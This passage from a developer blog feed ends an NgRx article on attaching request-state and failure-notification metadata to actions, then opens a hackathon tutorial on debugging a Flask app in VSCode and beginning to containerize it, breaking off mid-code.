&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The action is still instantiated the same way, but now produces an object like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nc"&gt;LoadBillingAddressSuccess&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;someBillingAddress&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="cm"&gt;/* produces
  { 
    type: '[Address API] Load Billing Address Success',
    address: someBillingAddress,
    requestStateMetadata: {
      uuid: 'some-uuid',
      milestone: 'success'
    }
  }
*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we have &lt;code&gt;requestStateMetadata&lt;/code&gt; on the action, we can react to it in a more generic way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// in new request-state.effects.ts&lt;/span&gt;
&lt;span class="nx"&gt;mapToRequestStateChanged$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;actions$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;requestStateMetadata&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
    &lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;RequestStateChanged&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;requestStateMetadata&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// in new request-state.reducer.ts&lt;/span&gt;
&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;RequestStateChanged&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;milestone&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="nx"&gt;milestone&lt;/span&gt;
&lt;span class="p"&gt;)})&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our existing reducer code to update the billing address in the address reducer still works just fine! But now we're also progressing the state for this request in a way that's easy to read straight from the action declaration.&lt;/p&gt;

&lt;p&gt;As a bonus, we could implement a selector within the object our magic &lt;code&gt;createRequestState&lt;/code&gt; function produces such that we can easily select if the request state is in progress:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;LoadBillingAddressRequestState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;selectIsInProgress&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="cm"&gt;/* produces a selector like
  createSelector(
    selectRequestState(uuid),
    requestState =&amp;gt; requestState === 'started'
  );
*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Describing actions as notifiable failures
&lt;/h4&gt;

&lt;p&gt;Implementing a similar metadata approach for notifications is simple.&lt;/p&gt;

&lt;p&gt;We can declare a function that operates like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;aNotifiableFailure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;A failure message.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// produces an object like&lt;/span&gt;
&lt;span class="cm"&gt;/*
  {
    failureNotificationMetadata: {
      message: 'A failure message.'
    }
  }
*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Again, we can describe our action with the &lt;code&gt;aNotifiableFailure&lt;/code&gt; metadata creator.&lt;br&gt;
Interestingly, if we want our failure message to be dynamic based on a property from the action, we can do that!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;LoadBillingAddressFailure&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[Address API] Load Billing Address Failure&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;serverError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ServerError&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nf"&gt;aNotifiableFailure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;serverError&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The action creator will work like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nc"&gt;LoadBillingAddressFailure&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;serverError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;someServerError&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="cm"&gt;/* produces
  { 
    type: '[Address API] Load Billing Address Failure',
    serverError: someServerError,
    failureNotificationMetadata: {
      message: someServerError.message
    }
  }
*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And now all failures can be handled in one effect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// in new notifications.effects.ts&lt;/span&gt;
&lt;span class="nx"&gt;showFailureNotification$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;actions$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;failureNotificationMetadata&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
    &lt;span class="nf"&gt;tap&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;notificationService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;failureNotificationMetadata&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;failure&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Handling descriptive actions reduces code
&lt;/h2&gt;

&lt;p&gt;By injecting metadata into our actions, we reduce the amount of code we have to write for handling similar behavior across our application while maintaining good action hygiene.&lt;/p&gt;

&lt;p&gt;The pattern also increases the usefulness of the actions file by giving a reader a more complete picture of what an action represents.&lt;/p&gt;

</description>
      <category>angular</category>
      <category>redux</category>
    </item>
    <item>
      <title>Write a Dead Simple Web App, Fast, for a Hackathon (Part Two): Debug and Deploy</title>
      <dc:creator>David</dc:creator>
      <pubDate>Fri, 19 Feb 2021 03:29:49 +0000</pubDate>
      <link>https://dev.to/davidshortman/write-a-dead-simple-web-app-fast-for-a-hackathon-part-two-debug-and-deploy-927</link>
      <guid>https://dev.to/davidshortman/write-a-dead-simple-web-app-fast-for-a-hackathon-part-two-debug-and-deploy-927</guid>
      <description>&lt;p&gt;&lt;em&gt;This series focuses on equipping you with the basic background needed to make a web app fast for a hackathon. My intent is to provide the simplest information possible to get you up-and-running with something that works for a beginner project.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This is not a series which will teach you how to build a robust, scalable, enterprise-worthy application. So, for instance, I'll be avoiding topics like writing tests 😎.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;You can find a completed snapshot of the code in this tutorial at &lt;a href="https://github.com/david-shortman/hackathon-flask-backend-tutorial/tree/main/part%20two" rel="noopener noreferrer"&gt;https://github.com/david-shortman/hackathon-flask-backend-tutorial/tree/main/part%20two&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Common Hackathon Hangups
&lt;/h2&gt;

&lt;p&gt;Two things bog down hackathon projects: figuring out what's wrong with your app, and figuring out how to share it with other people.&lt;/p&gt;

&lt;p&gt;In this second part of the DSWAFH (Dead Simple Web App Fast for a Hackathon) series, you'll learn how to use dead simple linting and debug tools for your Flask app, and how to containerize and deploy it to the World Wide Web using Heroku.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;highly and deeply recommend&lt;/strong&gt; starting at &lt;a href="https://dev.to/davidshortman/write-a-dead-simple-web-app-fast-for-a-hackathon-part-one-a-flask-backend-4l9j"&gt;Part One&lt;/a&gt; of this series before continuing. Otherwise, you can start this tutorial by cloning and copying the part one directory from the tutorial's repository.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prevent and Find Mistakes
&lt;/h2&gt;

&lt;p&gt;The editor VSCode makes it unbelievably easy to start debugging our app. &lt;a href="https://medium.com/r/?url=https%3A%2F%2Fcode.visualstudio.com" rel="noopener noreferrer"&gt;Grab a copy of VSCode&lt;/a&gt; if you don't have it installed already, and open your app's directory with it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Set the Python Interpreter
&lt;/h3&gt;

&lt;p&gt;Since we're using VSCode, let's take full advantage of it by making it produce code insights for us. We can get autocomplete, view docs by mouse hovering, and more, by telling VSCode which Python interpreter we're using from our virtual environment.&lt;/p&gt;

&lt;p&gt;First, install the Python extension for VSCode- &lt;a href="https://marketplace.visualstudio.com/items?itemName=ms-python.python" rel="noopener noreferrer"&gt;https://marketplace.visualstudio.com/items?itemName=ms-python.python&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Then open VSCode's Command Palette with &lt;code&gt;View &amp;gt; Command Palette&lt;/code&gt;, and search for "Python: Select Interpreter".&lt;/p&gt;

&lt;p&gt;Then choose &lt;code&gt;Enter interpreter path…&lt;/code&gt;, then &lt;code&gt;Find…&lt;/code&gt;, and use your file explorer to navigate to your project folder's interpreter (like &lt;code&gt;{project_folder}/venv/bin/python&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;You should get a cool prompt in the bottom right corner of VSCode after selecting the interpreter:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fumverzaaz3l2s6qaxgy0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fumverzaaz3l2s6qaxgy0.png" alt="VSCode's prompt to install pylint" width="541" height="104"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;VSCode's prompt to install pylint&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Go ahead and click "Install" to install pylint in the virtual environment.&lt;/p&gt;

&lt;p&gt;Now you'll notice a bunch of great features enabled, like&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Documentation on hover&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvgt5uimg3djotqlcxaib.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvgt5uimg3djotqlcxaib.png" alt="An IntelliSense popup appearing when hovering over the keyword " width="752" height="192"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;An IntelliSense popup appearing when hovering over the keyword "flask"&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Autocomplete&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff1r9nlynqunmsnbvbupv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff1r9nlynqunmsnbvbupv.png" alt="An autocomplete menu appearing after typing a dot after a symbol" width="759" height="313"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;An autocomplete menu appearing after typing a dot after a symbol&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;And much more&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc4bxixknt1lqdx7v6rsz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc4bxixknt1lqdx7v6rsz.png" alt="A pylint unused variable warning" width="607" height="318"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;A pylint unused variable warning&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;With all this help from the editor, you should be well equipped to avoid simple coding mistakes that would otherwise waste your time at a hackathon .&lt;/p&gt;
&lt;h3&gt;
  
  
  Set a Breakpoint
&lt;/h3&gt;

&lt;p&gt;Those coding insights from VSCode are going to go a long way to helping you avoid syntax mistakes and library mis-usage. But face it, you're gonna still manage to write bad code because you don't have time to write test cases.&lt;/p&gt;

&lt;p&gt;Instead, we need a robust debugging system to run code and see what's broken about it. Luckily, VSCode provides one of the fastest to set up debugging tools ever for Flask apps.&lt;/p&gt;

&lt;p&gt;On the left side of the editor, click the "Run" icon (made of a play icon and bug icon), and then click "create a launch.json file".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc0e6xgngkomk286mh9vr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc0e6xgngkomk286mh9vr.png" alt="The Run menu in VSCode" width="547" height="331"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The Run menu in VSCode&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then select "Flask" in the "Select a debug configuration" popup that appears.&lt;/p&gt;

&lt;p&gt;Set the name of the file to "run.py" when the next prompt appears.&lt;/p&gt;

&lt;p&gt;A launch.json file will appear that you can completely ignore! Instead, go click the play button in the Run menu on the left.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxuntzg4xqdllqud4vye2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxuntzg4xqdllqud4vye2.png" alt="The run button appears for the Flask run configuration" width="471" height="291"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The run button appears for the Flask run configuration&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You should see the same kind of output appear in the VSCode terminal that appeared when we ran our app manually before. The color of the bottom bar of VSCode should have also turned orange to let you know it's actively running something!&lt;/p&gt;

&lt;p&gt;Now you can place a breakpoint by clicking to the left of a line number of run.py. Then when you trigger the code for that breakpoint, you'll notice something magical occur.&lt;/p&gt;

&lt;p&gt;Try placing a breakpoint on line 16, and then looking up the weather for New York by visiting &lt;a href="http://localhost:5000/weather/us/new%20york" rel="noopener noreferrer"&gt;http://localhost:5000/weather/us/new%20york&lt;/a&gt;.&lt;br&gt;
KA-BOOM! VSCode should stop execution of the weather function right at line 16:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcsla7phi5r4q9mhtr0os.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcsla7phi5r4q9mhtr0os.png" alt="VSCode stopped at the breakpoint on line 16" width="757" height="226"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;VSCode stopped at the breakpoint on line 16&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;And even more magically, we can hover over variables to see what they're currently set to. And we can even use the Watch pane on the left to type in variables we want to track, and even see where we are in execution in the Call Stack pane.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffvuilr2uoksifyv7ruqk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffvuilr2uoksifyv7ruqk.png" alt="The debugger shows us that " width="800" height="239"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The debugger shows us that "country" is set to "us". On the left, we can see the values of "country" and "city" in the Watch pane.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;At the top of the window you should see a toolbar that has appeared that controls the flow of the application from a breakpoint. You can continue execution, step to the next line, step into a function, step out of the current function, restart the app, or stop it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwy4kej6cxk7qd70bf265.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwy4kej6cxk7qd70bf265.png" alt="This debugging toolbar in VSCode holds a lot of powerful actions" width="263" height="41"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;This debugging toolbar in VSCode holds a lot of powerful actions&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Click the continue button to finish executing the code so you can get weather information for New York in your browser.&lt;/p&gt;

&lt;p&gt;Try playing around with the debugging tools to get comfortable with them. They'll be indispensable to figuring out what you wrote wrong on your own projects.&lt;/p&gt;
&lt;h2&gt;
  
  
  Package and Ship the App
&lt;/h2&gt;

&lt;p&gt;Getting an app on the web can be a tedious and difficult process. So let's use something simple, fast, and fun instead.&lt;/p&gt;
&lt;h3&gt;
  
  
  Package an App with Docker
&lt;/h3&gt;

&lt;p&gt;Remember that image from Part One that showed that really simplistic view of our app?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzgd2fbf708w7upn8wh1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzgd2fbf708w7upn8wh1.png" alt="A client, like a browser on a smartphone (left), makes a request to a " width="640" height="188"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;A client, like a browser on a smartphone (left), makes a request to a "backend" service (right) using the HTTP protocol.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So far, our local computer has been acting as both the left and right side of the image, both the client and the server.&lt;/p&gt;

&lt;p&gt;We want to move the right side, the server, to "the cloud."&lt;/p&gt;

&lt;p&gt;But, remember all that setup we had to do on our local machine to make the app run? We had to install a bunch of packages, create a virtual environment, install the dependencies, and use a command to make it run. And, if you noticed in the console output when running the app, we've been getting output at the start that looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we have two problems- we have to set up a server manually, and figure out a way to run it with a "real" server for deployment.&lt;/p&gt;

&lt;p&gt;If there were some way to encapsulate those steps, and create some kind of artifact from it, then we could push that thing to any computer in the world and be able to run our app…&lt;/p&gt;

&lt;p&gt;It turns out there's a widely popular solution to this problem- containerization!&lt;/p&gt;

&lt;p&gt;In short, it allows us to perform the work of setting up a server in a box called a "container," and then run that container on a computer that has the Docker runtime installed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create a "real" server
&lt;/h3&gt;

&lt;p&gt;Before I tell you how to use Docker to magically package up the app, let's quickly make some changes that will allow us to use the software "gunicorn" to run our app.&lt;/p&gt;

&lt;p&gt;Under line 1 of run.py, add a new import statement:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then replace&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;with the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
